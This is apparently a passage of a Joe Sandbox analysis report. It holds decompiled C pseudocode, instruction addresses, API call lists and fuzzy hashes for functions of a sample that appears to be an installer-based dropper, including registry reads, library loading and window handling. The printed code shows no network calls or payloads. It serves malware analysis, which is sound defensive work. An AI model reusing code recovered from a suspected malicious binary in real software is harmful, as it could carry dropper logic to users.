                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CharNext$Directory$AttributesCreateCurrentFile
                                                                                                                • String ID: C:\Users\user\AppData\Local\Temp\Buildup\Skaldedes\digestedness\Befarnes
                                                                                                                • API String ID: 1892508949-1975282956
                                                                                                                • Opcode ID: ab4ebdb945303dd5035fc9fb5ceb890aaaa1f9d13af24d58e5a8eb96f5c40a35
                                                                                                                • Instruction ID: 910f9ca0e916fbda017ea5bccd1daba2d9720f9cae8b5c5670dceb894c5ef12e
                                                                                                                • Opcode Fuzzy Hash: ab4ebdb945303dd5035fc9fb5ceb890aaaa1f9d13af24d58e5a8eb96f5c40a35
                                                                                                                • Instruction Fuzzy Hash: 3E11D031504110EBCF216FA5CD4099F36A0EF25369B28493BE945B52F1DA3E4A829A8E
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 89%
                                                                                                                			E00405513(struct HWND__* _a4, int _a8, int _a12, long _a16) {
                                                                                                                				long _t9;
                                                                                                                				int _t15;
                                                                                                                				long _t16;
                                                                                                                
                                                                                                                				_t15 = _a8;
                                                                                                                				if(_t15 != 0x102) {
                                                                                                                					if(_t15 != 0x200) {
                                                                                                                						_t16 = _a16;
                                                                                                                						L7:
                                                                                                                						if(_t15 == 0x419 &&  *0x42d254 != _t16) {
                                                                                                                							_push(_t16);
                                                                                                                							_push(6);
                                                                                                                							 *0x42d254 = _t16;
                                                                                                                							E00404ED4();
                                                                                                                						}
                                                                                                                						L11:
                                                                                                                						_t9 = CallWindowProcW( *0x42d25c, _a4, _t15, _a12, _t16); // executed
                                                                                                                						return _t9;
                                                                                                                					}
                                                                                                                					if(IsWindowVisible(_a4) == 0) {
                                                                                                                						L10:
                                                                                                                						_t16 = _a16;
                                                                                                                						goto L11;
                                                                                                                					}
                                                                                                                					_t16 = E00404E54(_a4, 1);
                                                                                                                					_t15 = 0x419;
                                                                                                                					goto L7;
                                                                                                                				}
                                                                                                                				if(_a12 != 0x20) {
                                                                                                                					goto L10;
                                                                                                                				}
                                                                                                                				E004044E5(0x413);
                                                                                                                				return 0;
                                                                                                                			}






                                                                                                                0x00405517
                                                                                                                0x00405521
                                                                                                                0x0040553d
                                                                                                                0x0040555f
                                                                                                                0x00405562
                                                                                                                0x00405568
                                                                                                                0x00405572
                                                                                                                0x00405573
                                                                                                                0x00405575
                                                                                                                0x0040557b
                                                                                                                0x0040557b
                                                                                                                0x00405585
                                                                                                                0x00405593
                                                                                                                0x00000000
                                                                                                                0x00405593
                                                                                                                0x0040554a
                                                                                                                0x00405582
                                                                                                                0x00405582
                                                                                                                0x00000000
                                                                                                                0x00405582
                                                                                                                0x00405556
                                                                                                                0x00405558
                                                                                                                0x00000000
                                                                                                                0x00405558
                                                                                                                0x00405527
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x0040552e
                                                                                                                0x00000000

                                                                                                                APIs
                                                                                                                • IsWindowVisible.USER32(?), ref: 00405542
                                                                                                                • CallWindowProcW.USER32(?,?,?,?), ref: 00405593
                                                                                                                  • Part of subcall function 004044E5: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044F7
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Window$CallMessageProcSendVisible
                                                                                                                • String ID:
                                                                                                                • API String ID: 3748168415-3916222277
                                                                                                                • Opcode ID: 0dea828d0dd479423763887dac230e90f27d8b8ae518018479b0ad82d517bb95
                                                                                                                • Instruction ID: 904a7c61355239921aaa7855b64c86422fca6e8886f64d9e6fcbc6a993ea73ec
                                                                                                                • Opcode Fuzzy Hash: 0dea828d0dd479423763887dac230e90f27d8b8ae518018479b0ad82d517bb95
                                                                                                                • Instruction Fuzzy Hash: F3017CB1100608BFDF209F11DD80AAB3B27EB84754F50453AFA01762D5D77A8E92DA69
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 90%
                                                                                                                			E0040640B(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
                                                                                                                				int _v8;
                                                                                                                				long _t21;
                                                                                                                				long _t24;
                                                                                                                				char* _t30;
                                                                                                                
                                                                                                                				asm("sbb eax, eax");
                                                                                                                				_v8 = 0x800;
                                                                                                                				_t21 = E004063AA(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20); // executed
                                                                                                                				_t30 = _a16;
                                                                                                                				if(_t21 != 0) {
                                                                                                                					L4:
                                                                                                                					 *_t30 =  *_t30 & 0x00000000;
                                                                                                                				} else {
                                                                                                                					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8); // executed
                                                                                                                					_t21 = RegCloseKey(_a20); // executed
                                                                                                                					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
                                                                                                                					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
                                                                                                                						goto L4;
                                                                                                                					}
                                                                                                                				}
                                                                                                                				return _t21;
                                                                                                                			}







                                                                                                                0x00406419
                                                                                                                0x0040641b
                                                                                                                0x00406433
                                                                                                                0x00406438
                                                                                                                0x0040643d
                                                                                                                0x0040647b
                                                                                                                0x0040647b
                                                                                                                0x0040643f
                                                                                                                0x00406451
                                                                                                                0x0040645c
                                                                                                                0x00406462
                                                                                                                0x0040646d
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x0040646d
                                                                                                                0x00406481

                                                                                                                APIs
                                                                                                                • RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,?,00000800,00000000,0042C248,00000000,?,?,Call,?,?,00406672,80000002), ref: 00406451
                                                                                                                • RegCloseKey.KERNELBASE(?,?,00406672,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,0042C248), ref: 0040645C
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CloseQueryValue
                                                                                                                • String ID: Call
                                                                                                                • API String ID: 3356406503-1824292864
                                                                                                                • Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
                                                                                                                • Instruction ID: a8d415a3dc4e4479eaaa65942f717852bb8bd3539c12dad3b2e52d491ce509ba
                                                                                                                • Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
                                                                                                                • Instruction Fuzzy Hash: FB017C72510209AADF21CF51CC09EDB3BB8FB54364F01803AFD5AA6190D738D968DBA8
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 60%
                                                                                                                			E004020D8(void* __ebx, void* __eflags) {
                                                                                                                				struct HINSTANCE__* _t23;
                                                                                                                				struct HINSTANCE__* _t31;
                                                                                                                				void* _t32;
                                                                                                                				WCHAR* _t35;
                                                                                                                				intOrPtr* _t36;
                                                                                                                				void* _t37;
                                                                                                                				void* _t39;
                                                                                                                
                                                                                                                				_t32 = __ebx;
                                                                                                                				asm("sbb eax, 0x434fc0");
                                                                                                                				 *(_t39 - 4) = 1;
                                                                                                                				if(__eflags < 0) {
                                                                                                                					_push(0xffffffe7);
                                                                                                                					L15:
                                                                                                                					E00401423();
                                                                                                                					L16:
                                                                                                                					 *0x434f88 =  *0x434f88 +  *(_t39 - 4);
                                                                                                                					return 0;
                                                                                                                				}
                                                                                                                				_t35 = E00402DA6(0xfffffff0);
                                                                                                                				 *((intOrPtr*)(_t39 - 0x44)) = E00402DA6(1);
                                                                                                                				if( *((intOrPtr*)(_t39 - 0x20)) == __ebx) {
                                                                                                                					L3:
                                                                                                                					_t23 = LoadLibraryExW(_t35, _t32, 8); // executed
                                                                                                                					_t47 = _t23 - _t32;
                                                                                                                					 *(_t39 + 8) = _t23;
                                                                                                                					if(_t23 == _t32) {
                                                                                                                						_push(0xfffffff6);
                                                                                                                						goto L15;
                                                                                                                					}
                                                                                                                					L4:
                                                                                                                					_t36 = E00406979(_t47,  *(_t39 + 8),  *((intOrPtr*)(_t39 - 0x44)));
                                                                                                                					if(_t36 == _t32) {
                                                                                                                						E0040559F(0xfffffff7,  *((intOrPtr*)(_t39 - 0x44)));
                                                                                                                					} else {
                                                                                                                						 *(_t39 - 4) = _t32;
                                                                                                                						if( *((intOrPtr*)(_t39 - 0x28)) == _t32) {
                                                                                                                							 *_t36( *((intOrPtr*)(_t39 - 8)), 0x400, _t37, 0x40ce50, 0x40a000); // executed
                                                                                                                						} else {
                                                                                                                							E00401423( *((intOrPtr*)(_t39 - 0x28)));
                                                                                                                							if( *_t36() != 0) {
                                                                                                                								 *(_t39 - 4) = 1;
                                                                                                                							}
                                                                                                                						}
                                                                                                                					}
                                                                                                                					if( *((intOrPtr*)(_t39 - 0x24)) == _t32 && E00403B8C( *(_t39 + 8)) != 0) {
                                                                                                                						FreeLibrary( *(_t39 + 8));
                                                                                                                					}
                                                                                                                					goto L16;
                                                                                                                				}
                                                                                                                				_t31 = GetModuleHandleW(_t35); // executed
                                                                                                                				 *(_t39 + 8) = _t31;
                                                                                                                				if(_t31 != __ebx) {
                                                                                                                					goto L4;
                                                                                                                				}
                                                                                                                				goto L3;
                                                                                                                			}










                                                                                                                0x004020d8
                                                                                                                0x004020d8
                                                                                                                0x004020dd
                                                                                                                0x004020e4
                                                                                                                0x004021a3
                                                                                                                0x004022f1
                                                                                                                0x004022f1
                                                                                                                0x00402c2a
                                                                                                                0x00402c2d
                                                                                                                0x00402c39
                                                                                                                0x00402c39
                                                                                                                0x004020f3
                                                                                                                0x004020fd
                                                                                                                0x00402100
                                                                                                                0x00402110
                                                                                                                0x00402114
                                                                                                                0x0040211a
                                                                                                                0x0040211c
                                                                                                                0x0040211f
                                                                                                                0x0040219c
                                                                                                                0x00000000
                                                                                                                0x0040219c
                                                                                                                0x00402121
                                                                                                                0x0040212c
                                                                                                                0x00402130
                                                                                                                0x00402170
                                                                                                                0x00402132
                                                                                                                0x00402135
                                                                                                                0x00402138
                                                                                                                0x00402164
                                                                                                                0x0040213a
                                                                                                                0x0040213d
                                                                                                                0x00402146
                                                                                                                0x00402148
                                                                                                                0x00402148
                                                                                                                0x00402146
                                                                                                                0x00402138
                                                                                                                0x00402178
                                                                                                                0x00402191
                                                                                                                0x00402191
                                                                                                                0x00000000
                                                                                                                0x00402178
                                                                                                                0x00402103
                                                                                                                0x0040210b
                                                                                                                0x0040210e
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000

                                                                                                                APIs
                                                                                                                • GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402103
                                                                                                                  • Part of subcall function 0040559F: lstrlenW.KERNEL32(0042C248,00000000,00425A20,765723A0,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
                                                                                                                  • Part of subcall function 0040559F: lstrlenW.KERNEL32(00403418,0042C248,00000000,00425A20,765723A0,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
                                                                                                                  • Part of subcall function 0040559F: lstrcatW.KERNEL32(0042C248,00403418), ref: 004055FA
                                                                                                                  • Part of subcall function 0040559F: SetWindowTextW.USER32(0042C248,0042C248), ref: 0040560C
                                                                                                                  • Part of subcall function 0040559F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
                                                                                                                  • Part of subcall function 0040559F: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
                                                                                                                  • Part of subcall function 0040559F: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A
                                                                                                                • LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00402114
                                                                                                                • FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402191
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
                                                                                                                • String ID:
                                                                                                                • API String ID: 334405425-0
                                                                                                                • Opcode ID: 47559a36ebc19421b636ffb62e163a3a93afacd14370c430438519e5d946d215
                                                                                                                • Instruction ID: d1cf9917c249e547a3b1759614bc69e8b445b1996c4dbd71fd6f6dd46acd7470
                                                                                                                • Opcode Fuzzy Hash: 47559a36ebc19421b636ffb62e163a3a93afacd14370c430438519e5d946d215
                                                                                                                • Instruction Fuzzy Hash: 2A21C231904104FACF11AFA5CE48A9D7A71BF48358F20413BF605B91E1DBBD8A82965D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 59%
                                                                                                                			E00401B9B(void* __ebx) {
                                                                                                                				intOrPtr _t8;
                                                                                                                				void* _t9;
                                                                                                                				void _t12;
                                                                                                                				void* _t14;
                                                                                                                				void* _t22;
                                                                                                                				void* _t25;
                                                                                                                				void* _t30;
                                                                                                                				char* _t32;
                                                                                                                				void* _t33;
                                                                                                                				void* _t34;
                                                                                                                				void* _t37;
                                                                                                                
                                                                                                                				_t28 = __ebx;
                                                                                                                				_t8 =  *((intOrPtr*)(_t37 - 0x28));
                                                                                                                				_t33 =  *0x40ce50; // 0x0
                                                                                                                				if(_t8 == __ebx) {
                                                                                                                					if( *((intOrPtr*)(_t37 - 0x2c)) == __ebx) {
                                                                                                                						_t9 = GlobalAlloc(0x40, 0x804); // executed
                                                                                                                						_t34 = _t9;
                                                                                                                						_t5 = _t34 + 4; // 0x4
                                                                                                                						E0040657A(__ebx, _t30, _t34, _t5,  *((intOrPtr*)(_t37 - 0x30)));
                                                                                                                						_t12 =  *0x40ce50; // 0x0
                                                                                                                						 *_t34 = _t12;
                                                                                                                						 *0x40ce50 = _t34;
                                                                                                                					} else {
                                                                                                                						if(_t33 == __ebx) {
                                                                                                                							 *((intOrPtr*)(_t37 - 4)) = 1;
                                                                                                                						} else {
                                                                                                                							_t3 = _t33 + 4; // 0x4
                                                                                                                							E0040653D(_t30, _t3);
                                                                                                                							_push(_t33);
                                                                                                                							 *0x40ce50 =  *_t33;
                                                                                                                							GlobalFree();
                                                                                                                						}
                                                                                                                					}
                                                                                                                					goto L15;
                                                                                                                				} else {
                                                                                                                					while(1) {
                                                                                                                						_t8 = _t8 - 1;
                                                                                                                						if(_t33 == _t28) {
                                                                                                                							break;
                                                                                                                						}
                                                                                                                						_t33 =  *_t33;
                                                                                                                						if(_t8 != _t28) {
                                                                                                                							continue;
                                                                                                                						} else {
                                                                                                                							if(_t33 == _t28) {
                                                                                                                								break;
                                                                                                                							} else {
                                                                                                                								_t36 = _t33 + 4;
                                                                                                                								_t32 = L"Call";
                                                                                                                								E0040653D(_t32, _t33 + 4);
                                                                                                                								_t22 =  *0x40ce50; // 0x0
                                                                                                                								E0040653D(_t36, _t22 + 4);
                                                                                                                								_t25 =  *0x40ce50; // 0x0
                                                                                                                								_push(_t32);
                                                                                                                								_push(_t25 + 4);
                                                                                                                								E0040653D();
                                                                                                                								L15:
                                                                                                                								 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t37 - 4));
                                                                                                                								_t14 = 0;
                                                                                                                							}
                                                                                                                						}
                                                                                                                						goto L17;
                                                                                                                					}
                                                                                                                					_push(0x200010);
                                                                                                                					_push(E0040657A(_t28, _t30, _t33, _t28, 0xffffffe8));
                                                                                                                					E00405B9D();
                                                                                                                					_t14 = 0x7fffffff;
                                                                                                                				}
                                                                                                                				L17:
                                                                                                                				return _t14;
                                                                                                                			}














                                                                                                                0x00401b9b
                                                                                                                0x00401b9b
                                                                                                                0x00401b9e
                                                                                                                0x00401ba6
                                                                                                                0x00401bef
                                                                                                                0x00401c1d
                                                                                                                0x00401c26
                                                                                                                0x00401c28
                                                                                                                0x00401c2c
                                                                                                                0x00401c31
                                                                                                                0x00401c36
                                                                                                                0x00401c38
                                                                                                                0x00401bf1
                                                                                                                0x00401bf3
                                                                                                                0x0040292e
                                                                                                                0x00401bf9
                                                                                                                0x00401bf9
                                                                                                                0x00401bfe
                                                                                                                0x00401c05
                                                                                                                0x00401c06
                                                                                                                0x00401c0b
                                                                                                                0x00401c0b
                                                                                                                0x00401bf3
                                                                                                                0x00000000
                                                                                                                0x00401ba8
                                                                                                                0x00401ba8
                                                                                                                0x00401ba8
                                                                                                                0x00401bab
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00401bb1
                                                                                                                0x00401bb5
                                                                                                                0x00000000
                                                                                                                0x00401bb7
                                                                                                                0x00401bb9
                                                                                                                0x00000000
                                                                                                                0x00401bbf
                                                                                                                0x00401bbf
                                                                                                                0x00401bc2
                                                                                                                0x00401bc9
                                                                                                                0x00401bce
                                                                                                                0x00401bd8
                                                                                                                0x00401bdd
                                                                                                                0x00401be2
                                                                                                                0x00401be6
                                                                                                                0x00402a94
                                                                                                                0x00402c2a
                                                                                                                0x00402c2d
                                                                                                                0x00402c33
                                                                                                                0x00402c33
                                                                                                                0x00401bb9
                                                                                                                0x00000000
                                                                                                                0x00401bb5
                                                                                                                0x0040238a
                                                                                                                0x00402397
                                                                                                                0x00402398
                                                                                                                0x0040239d
                                                                                                                0x0040239d
                                                                                                                0x00402c35
                                                                                                                0x00402c39

                                                                                                                APIs
                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 00401C0B
                                                                                                                • GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401C1D
                                                                                                                  • Part of subcall function 0040657A: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040671F
                                                                                                                  • Part of subcall function 0040657A: lstrlenW.KERNEL32(Call,00000000,0042C248,?,004055D6,0042C248,00000000), ref: 00406779
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Global$AllocFreelstrcatlstrlen
                                                                                                                • String ID: Call
                                                                                                                • API String ID: 3292104215-1824292864
                                                                                                                • Opcode ID: 349c085c5b9fb6c4bdb698dcdd0dd59d2260bbbf82417fe533fc9d22254a22e0
                                                                                                                • Instruction ID: 7c0f58a685d1fc6dd3685da305ee1819882fb4420ac17dc2787245939102450a
                                                                                                                • Opcode Fuzzy Hash: 349c085c5b9fb6c4bdb698dcdd0dd59d2260bbbf82417fe533fc9d22254a22e0
                                                                                                                • Instruction Fuzzy Hash: 1B21D872904210EBDB20AFA8EE84A5E73B4EB04715755063BF552F72D0D7B8AC414B9D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 86%
                                                                                                                			E0040259E(int* __ebx, intOrPtr __edx, short* __edi) {
                                                                                                                				int _t10;
                                                                                                                				long _t13;
                                                                                                                				int* _t16;
                                                                                                                				intOrPtr _t21;
                                                                                                                				short* _t22;
                                                                                                                				void* _t24;
                                                                                                                				void* _t26;
                                                                                                                				void* _t29;
                                                                                                                
                                                                                                                				_t22 = __edi;
                                                                                                                				_t21 = __edx;
                                                                                                                				_t16 = __ebx;
                                                                                                                				_t24 = E00402DE6(_t29, 0x20019);
                                                                                                                				_t10 = E00402D84(3);
                                                                                                                				 *((intOrPtr*)(_t26 - 0x10)) = _t21;
                                                                                                                				 *__edi = __ebx;
                                                                                                                				if(_t24 == __ebx) {
                                                                                                                					 *((intOrPtr*)(_t26 - 4)) = 1;
                                                                                                                				} else {
                                                                                                                					 *(_t26 + 8) = 0x3ff;
                                                                                                                					if( *((intOrPtr*)(_t26 - 0x20)) == __ebx) {
                                                                                                                						_t13 = RegEnumValueW(_t24, _t10, __edi, _t26 + 8, __ebx, __ebx, __ebx, __ebx);
                                                                                                                						__eflags = _t13;
                                                                                                                						if(_t13 != 0) {
                                                                                                                							 *((intOrPtr*)(_t26 - 4)) = 1;
                                                                                                                						}
                                                                                                                					} else {
                                                                                                                						RegEnumKeyW(_t24, _t10, __edi, 0x3ff);
                                                                                                                					}
                                                                                                                					_t22[0x3ff] = _t16;
                                                                                                                					_push(_t24); // executed
                                                                                                                					RegCloseKey(); // executed
                                                                                                                				}
                                                                                                                				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t26 - 4));
                                                                                                                				return 0;
                                                                                                                			}











                                                                                                                0x0040259e
                                                                                                                0x0040259e
                                                                                                                0x0040259e
                                                                                                                0x004025aa
                                                                                                                0x004025ac
                                                                                                                0x004025b4
                                                                                                                0x004025b7
                                                                                                                0x004025ba
                                                                                                                0x0040292e
                                                                                                                0x004025c0
                                                                                                                0x004025c8
                                                                                                                0x004025cb
                                                                                                                0x004025e4
                                                                                                                0x004025ea
                                                                                                                0x004025ec
                                                                                                                0x004025ee
                                                                                                                0x004025ee
                                                                                                                0x004025cd
                                                                                                                0x004025d1
                                                                                                                0x004025d1
                                                                                                                0x004025f5
                                                                                                                0x004025fc
                                                                                                                0x004025fd
                                                                                                                0x004025fd
                                                                                                                0x00402c2d
                                                                                                                0x00402c39

                                                                                                                APIs
                                                                                                                • RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025D1
                                                                                                                • RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 004025E4
                                                                                                                • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsu6C45.tmp,00000000,00000011,00000002), ref: 004025FD
                                                                                                                Memory Dump Source
